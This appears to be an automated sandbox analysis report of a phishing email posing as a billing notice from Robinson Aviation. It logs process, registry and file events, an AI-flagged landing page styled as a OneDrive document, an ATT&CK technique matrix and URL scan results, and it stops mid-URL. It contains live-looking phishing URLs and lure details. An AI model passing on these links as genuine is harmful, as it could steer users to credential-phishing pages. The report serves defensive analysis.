Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1852,i,17971103771708389508,15064143540458108808,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1908,i,11859605558598838766,15765309172020364921,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: Email	LLM: Page contains button: 'Click Here' Source: 'Email'
Source: Email	LLM: Email contains prominent button: 'click here'
Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html	LLM: Page contains button: 'VIEW DOCUMENT' Source: '3.4.pages.csv'

AI detected potential phishing Email

Source: Email

LLM: Detected potential phishing email: The email contains multiple inconsistent signatures from different companies (Robinson Aviation and Welgaard CPA)

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 873
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 1141	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 873	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg	Binary or memory string: =?us-ascii?Q?3ox5DSLq8ZJQrQwfF7tlfupaQEmuS1/GI0LyPOqTd9u9ouvEBnrkyi13QY95?=
Source: ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg	Binary or memory string: AwcuxbhcVRfq79p1c1Tr6+YSWD4JQIyxdvLZvqF7ZUOIxtcwxScdZnaGivnTqf4MPFTts+N6ung+mcPOBLq9dxwgi1YR58ryM/IjBleITPXgJj8l3mCFCt6vrGtJjjBSiE0T2tDFp2ewnqfTDaGslUv56YW0tDFbk9BROr6qLzkS5CyGlM9BBfYNLpfYU6EgzHMYUCCx61lg/cpKXkopw+Rx5h77m/CGGSasdng5mdRtzO0/igPM60FueF3Vniy5b5LU18NAzMy86kMjUVjDKr4XWiE6wF/dwb9hpZDTLyG/QXm2LtK1GJL1R6LavUAFStPdiM+5/XeSUfpojrHL3oYEI5WUYJnBsf4550eqLrDMZOvKCnX0q26Ova/C9AnF+Cji9/NrgNjK4GXTuyFaRGfxlYtaZenL3t+CLr8IM7ZkbkCdYbAF6o0Cb944ZeBD4t/3dT9bNkZmv39zphRIAJD9DeuO6YwxKB2J50STYTCjtjfUabCpvT4tfv31eBiiAXLJ+UparJbPBLS3KfVRmWi4Bll6KwbcQMT4llhwpJVqlmS5b6mEf4ls6SrvpI4HHFJUjL6SetKP0Bn84YN3I/Sjz6G2IBGr4jguMlSUgL8sa8h/5Dy2ujJw6LezK3ePeFYhi6Nxugf/vpL+Bua8xzTEJwEF0LdcCstJLJSnBTSx3iY+16zfqYgnZ3y5nRB1ZS1lna7mbl5rW343kr9F/1UO1vk6hzGdMQm5rJFSOWbp0NtOPYUz9hhkQ3rau9U2FFPg+IWcyK1si/zlL4JfKnVyKblOX8ehmONtAhJ1c6Ly0ZJ7aT8RrFu8E3hnkeYEnkTREi0pl/ahJizr0xtFx9Ih0vwDTj9PP/7kcDhhk1nVXsjGTIul4uYtSmKmovW/aJ7lIiWH20XWYng0huqx6OKsBID0lPeBu+hXr2DZVLfwyOEiF2fbKPHvMZnnxTQs8xS9KbAujdZUClXMJXlARha9fHqIEre8A049r3ho6iCQbqxCnVmiamWdtJk2dubH9pIFjk1PBdif2yQ0dlmZyw2P4jnVXU4Qq+lz4U4NdyHaGDtjhsyGUb3MtOCNmJRhbFOUd8Wzse8zWdophYR7Plqb8uW/+yeBw63zlKhFvRZzGirkaA+RVAjdlzwpr0N3RYbAlczMRY5IxqX2OgUjSntIYhGXCe+l1hZ1gT4VDvaQ7ALC6cWg2pZQQw9UEXw6pLtm/2asg3anthVAYe8Ll4yk9aXLpcORyNdq/0AmHAdNVC25g/kZn/HTmHZoXbhjLaLo8hCW3ywHAv6+ltkaI1yvZfmf803m8MlLNAedtqMHNesHaXHbJ6UuxW6o7ftCpyTmD61yBGNxm2Mm/e50nrpdxioPg/KZLLuQhhhhJiQh6/wo18SPChpkE4H7M9Gv7HinBqviW2p85vD0E9M2J/lypuKUUiiQzk0WNwmdUM5td3+tNH3d95JsBqMrUHdouzV+gtUvDJptZifFfpG0AdTo5kGUc2vvUnvbq4J3/0vIM4EhRaqbSDSshee6cGgj8WgrLT70BLFVjLiU3ox5DSLq8ZJQrQwfF7tlfupaQEmuS1/GI0LyPOqTd9u9ouvEBnrkyi13QY95j71G1FcWntuC2EZhcj7EZzu2+RfkZJILFVFSEYM/FgTleugzTpZ+iCCbq6Pjf0FioRq0+xQwhQHTDwkdA2Aq3I4Ftgfx6ZWrH9QPE8UEEIPO97CxTj6E9J9F86BGhj2zmv4q8nYY5ZPzb3A1QL6bzfOoVsH4oBvY105Sk7oFqa+NX/HX+8jekTJfVmUz+DaJ/Z3f7UWK5A==ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003);478f6819-87dc-4ef3-9fe3-08dcff58f059BCL:0;ARA:13230040\|82310400026\|35042699022\|5073199012\|4073199012\|8096899003\|43540500003;15.20.8137.018DS4PEPF00000172.namprd09.prod.outlook.comAnonymousPass (amcrelay2.faa.gov: domain of ism@rvainc.com designates 2a01:111:f403:2409::716 as permitt__substg1.0_8030001F*
Source: chromecache_866.11.dr, chromecache_1056.11.dr, chromecache_793.11.dr, chromecache_839.11.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_866.11.dr, chromecache_1056.11.dr, chromecache_793.11.dr, chromecache_839.11.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Process Injection	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Source	Detection	Scanner	Label
https://fowlervillefd.top/300/	0%	Avira URL Cloud	safe
https://ipmdoctor-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&enableTheming=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInline